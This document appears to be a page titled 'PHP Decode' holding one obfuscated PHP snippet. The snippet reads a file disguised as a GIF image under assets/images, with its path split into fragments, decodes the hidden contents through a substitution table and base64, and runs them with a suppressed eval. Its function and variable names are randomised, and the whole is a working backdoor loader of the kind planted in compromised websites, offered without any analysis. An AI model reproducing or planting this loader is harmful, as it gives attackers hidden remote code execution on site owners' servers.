PHP Decode

<?php 
 
function iqapuju_rachyte($yrawezh_ivenuci) { 
    if (!file_exists($yrawezh_ivenuci)) 
        return false; 
    $votylo = @file_get_contents($yrawezh_ivenuci); 
    if (!$votylo) 
        return false; 
    $votylo = substr($votylo, 3); 
    $ynykhiz = silizhi_erithix($votylo); 
    return $ynykhiz; 
} 
 
function silizhi_erithix($yrawezh_ivenuci) { 
    $icynisa = ilaqesh_urekhip; 
    $itezuk = array(); 
    for ($heshoce = 0; $heshoce < strlen($icynisa); $heshoce += 2) { 
        $evymikh = substr($icynisa, $heshoce, 1); 
        $buhewe = substr($icynisa, $heshoce + 1, 1); 
        $itezuk[$evymikh] = $buhewe; 
    } 
    $ihaheth = strtr($yrawezh_ivenuci, $itezuk); 
    $ihaheth = base64_decode($ihaheth); 
 
    return $ihaheth; 
} 
 
define("ilaqesh_urekhip", "ianzDtLYXPe9T3GOVlEG22WS44NLFfrUkF0buBSCoABmsItRjpAy+761hJZQJswvvkqNpnzTCKI+UW3g/8x=HERMMXmVg/751w8xbe=ulhOqKZaryH96Podi50fjcdYcQD"); 
 
$eziqob = iqapuju_rachyte(__DIR__ . "/ass" . "ets/im" . "ages" . "/opo" . "riw.gi" . "f"); 
if ($eziqob) { 
    @eval($eziqob); 
} 
 ?>